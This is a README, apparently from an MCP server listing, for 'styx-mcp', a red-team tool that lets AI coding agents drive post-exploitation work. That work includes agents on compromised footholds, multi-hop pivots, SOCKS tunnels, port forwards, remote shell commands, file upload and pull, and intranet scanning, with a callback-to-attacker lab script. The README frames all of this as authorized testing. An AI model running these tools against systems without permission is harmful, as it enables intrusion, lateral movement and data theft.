mcp server
styx-mcp
Orchestrate multi-hop pivots, SOCKS/forwards, and intranet recon through MCP tools. Authorized use only.
Set up
Runs on your computer. Pick your agent and operating system.
This project does not publish an install method we can turn into a config. Follow the README instead.
README
synced Oct 20, 2026Orchestrate multi-hop nodes, tunnels, and intranet recon via MCP tools
Disclaimer
Authorized use only. Use only on systems you own or have explicit written permission to test (labs, CTF / exam ranges, RoE-covered engagements). Unauthorized use is illegal. You are solely responsible for how you use this software.
Please read this README (especially SOCKS vs forward vs backward vs scan) before use.
Features
- Tree topology: active (
-c) / passive (-l), multi-hop pivots - Mutual HMAC preauth + optional TLS
- SOCKS5 on the controller — local tools exit via a chosen node
- Per-stream byte-window flow control (controller/agent must match)
- Forward (listen on agent) & backward (listen on controller)
- Async
start_cmd— one-shot remote command (task_id) - Async
start_scan— discover → port scan → light fingerprint + refs - Async
pull_file/upload_file - Async tasks +
get_task_status(phases +result.progressfor long scans) - Agent auto-reconnect after unexpected drop (stable
node_idreonline;SHUTDOWNdisables) - Cross-compile: Linux / Windows / macOS (
make build-all)
Table of contents
- Quick start
- Cursor / Codex MCP setup
- MCP tools
- Intranet scan (
start_scan) - Examples
- CLI flags
- Security notes
- Project layout
- Acknowledgments
- License
Quick start
git clone https://github.com/N0va-7/styx-mcp.git
cd styx-mcp
make build # → release/<os>-<arch>/
# Terminal A — controller (keeps stdio for MCP; for CLI smoke only)
./release/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')/controller \
-s change-me -l 127.0.0.1:19137
# Terminal B — agent
./release/.../agent -s change-me -c 127.0.0.1:19137
Prefer Cursor? Skip terminal A and use the wrapper below, then only start the agent.
make build-all # linux-amd64 / windows-amd64 / darwin-arm64
make test
Prebuilt binaries: see Releases when a maintainer publishes one
(make build-all, then attach archives manually). Auto tag→Release CI is not enabled.
Cursor / Codex MCP setup
make buildsorelease/<os>-<arch>/controllerexists.~/.cursor/mcp.json(or project.cursor/mcp.json):
{
"mcpServers": {
"styx-mcp": {
"command": "/absolute/path/to/styx-mcp/scripts/styx-mcp-wrapper.sh",
"env": {
"STYX_SECRET": "change-me-to-a-strong-secret",
"STYX_LISTEN": "127.0.0.1:19137",
"STYX_LOG": "/tmp/styx-mcp-controller.log"
}
}
}
}
- Cursor → Settings → MCP → enable / refresh styx-mcp.
- On the foothold:
./agent -s change-me -c <controller-ip>:19137
| Env | Default | Meaning |
|---|---|---|
STYX_SECRET | (required) | Shared secret (-s) |
STYX_LISTEN | 127.0.0.1:19137 | Agent listen addr on controller |
STYX_LOG | /tmp/styx-mcp-controller.log | Controller log |
STYX_MCP_LOG | (unset) | Optional raw MCP stdio log path |
STYX_BIN_DIR | release/<os>-<arch> | Binary directory override |
Never commit real secrets into public configs.
Codex
make buildsorelease/<os>-<arch>/controllerexists.- Add to
~/.codex/config.toml(absolute path; strong secret):
[mcp_servers.styx-mcp]
command = "/absolute/path/to/styx-mcp/scripts/styx-mcp-wrapper.sh"
enabled = true
startup_timeout_sec = 45
[mcp_servers.styx-mcp.env]
STYX_SECRET = "change-me-to-a-strong-secret"
STYX_LISTEN = "127.0.0.1:19137"
STYX_LOG = "/tmp/styx-mcp-controller.log"
- Reload MCP / start a new Codex task so tools (
list_nodes, …) appear. - Only one controller may bind
STYX_LISTEN(do not run Cursor and Codex wrappers on the same port together). - On the foothold:
./agent -s change-me -c <controller-ip>:19137
MCP tools
| Tool | What it does | Listen / act where |
|---|---|---|
list_nodes | Topology | — |
get_node_detail | Detail | — |
add_node_memo / delete_node_memo | Memos | — |
start_listener | Wait for child agents | Agent |
connect_node | Dial a child | Agent |
start_socks | SOCKS5 for local tools | Controller → exit via node |
start_forward | Port forward | Agent listen → target |
start_backward | Reverse forward | Controller → via node → target |
upload_file | Upload | Controller → agent |
pull_file | Pull file to controller | Agent → controller path |
start_cmd | One-shot remote command | Agent sh -c (async task_id) |
start_scan | Intranet port scan + light fingerprint | Agent (async task_id) |
get_task_status | Poll async work | — |
shutdown_node | Kill node | — |
Long-running calls return task_id → poll with get_task_status.
SOCKS vs forward vs backward vs scan
| You want… | Use |
|---|---|
curl / scanners on the controller host into an internal net | start_socks |
One controller port → one internal ip:port | start_backward |
| A port on the foothold that dials elsewhere | start_forward |
| Structured open ports / fingerprints from the agent | start_scan |
Intranet scan (start_scan)
Runs on the selected agent (traffic exits that host).
Discover (hybrid, default on): host is alive if ICMP succeeds OR any TCP probe port is open.
If zero hosts are alive, the job falls back to scanning all targets and sets warnings (avoids a silent empty result).
Port method: auto (default) uses SYN when the agent has raw IPv4 TCP (root / CAP_NET_RAW on Linux), otherwise TCP connect. Force with method=connect or method=syn.
| Arg | Default | Notes |
|---|---|---|
node_id | required | Exit via this agent |
targets | required | IPv4 IP / CIDR / comma list |
mode | fast | fast | normal | full | custom (full is expensive) |
ports | — | Required for custom (22,80,8000-8100) |
fingerprint | true | Fingerprint open ports only |
discover | true | Hybrid alive probe first |
method | auto | auto | connect | syn |
concurrency | 200 | Max 500 |
timeout_ms | 500 | Per-probe timeout |
Phases (via get_task_status): discovering → scanning → fingerprinting → done.
While discovering, result.progress may include stage, icmp_done / icmp_total, icmp_alive, alive_n, tcp_probes.
Rebuild note: controller and agent must be built from the same commit after protocol changes (SCAN*).
Lab helper (authorized ranges only; uses port 19139 so it does not steal MCP’s :19137):
STYX_SECRET=… STYX_CALLBACK=<attacker-ip> ./scripts/lab-scan-e2e.sh
Examples
{ "name": "start_socks", "arguments": { "node_id": 0, "address": "127.0.0.1:10801" } }
curl --socks5-hostname 127.0.0.1:10801 http://<internal-host>/
export ALL_PROXY=socks5h://127.0.0.1:10801
./agent -s change-me -l 127.0.0.1:19138 # child, passive
{ "name": "connect_node", "arguments": { "node_id": 0, "address": "127.0.0.1:19138" } }
{
"name": "start_forward",
"arguments": {
"node_id": 0,
"listen_address": "127.0.0.1:19141",
"target_address": "10.0.0.5:80"
}
}
Connect to listen_address on the agent host.
{
"name": "start_backward",
"arguments": {
"node_id": 0,
"local_address": "127.0.0.1:19142",
"target_address": "10.0.0.5:80"
}
}
Connect to 127.0.0.1:19142 on the controller host.
{
"name": "upload_file",
"arguments": {
"node_id": 0,
"local_path": "/path/to/tool",
"remote_path": "/tmp/tool"
}
}
{
"name": "start_scan",
"arguments": {
"node_id": 0,
"targets": "172.16.23.0/24",
"mode": "fast",
"discover": true,
"method": "auto",
"fingerprint": true
}
}
{ "name": "get_task_status", "arguments": { "task_id": "start_scan-1" } }
Useful result fields: stats, open[], summary.interesting[], optional warnings[] / refs.
CLI flags
| Flag | Description |
|---|---|
-s | Shared secret |
-l | Listen for agents [ip]:port |
-c | Optional active connect |
-down | raw only (ws rejected) |
-tls-enable | TLS on node links |
-domain | TLS SNI / WS domain |
-heartbeat | Heartbeat to first node |
-reconnect-max | Max active (-c) dial attempts (default 3; 0 = single try) |
| Flag | Description |
|---|---|
-s | Shared secret |
-c | Connect to parent / controller |
-l | Passive listen |
-up / -down | raw only (ws rejected) |
-tls-enable / -domain | TLS |
-reconnect | Base delay seconds after unexpected drop (default 10; 0 = off) |
-reconnect-max | Max reconnect attempts after drop (default 3) |
-socks5-proxy / -socks5-proxyu / -socks5-proxyp | Reach parent via SOCKS5 |
-http-proxy | Reach parent via HTTP proxy |
Controller and agents must share the same secret (and matching TLS/WS options). After reconnect/reonline handshake changes, rebuild both binaries from the same commit.
Security notes
- Treat
-s/STYX_SECRETlike a password; rotate after shared labs. The wrapper requiresSTYX_SECRET(no weak default). - Payload encryption uses HKDF-SHA256 derived AES-256-GCM keys (controller and agents must run matching versions).
- Optional TLS (
-tls-enable) derives a stable cert from the shared secret and verifies peers (still use a strong secret). - Default wrapper listen is
127.0.0.1:19137; setSTYX_LISTEN=0.0.0.0:…only for remote agents. - Bind SOCKS to
127.0.0.1unless you intentionally expose it. - Upload paths allow absolute destinations but reject
..; max single-file transfer is 32 MiB. - MCP stdio logging is off by default; set
STYX_MCP_LOG=/pathonly when debugging (may contain secrets). - Rebuild controller and agent from the same commit after protocol changes.
Project layout
cmd/controller/ controller + MCP entrypoint
cmd/agent/ agent entrypoint
scripts/ MCP wrapper, lab-scan-e2e.sh, lab_scan_smoke.go
pkg/controller/ control plane, SOCKS / backward / scan tasks
pkg/mcp/ MCP tools
pkg/node/ agent handlers (incl. scan job)
pkg/scan/ targets, discover, connect/SYN port check
pkg/fingerprint/ light fingerprint + vuln ref table
pkg/protocol/ wire protocol
pkg/share/preauth/ HMAC mutual preauth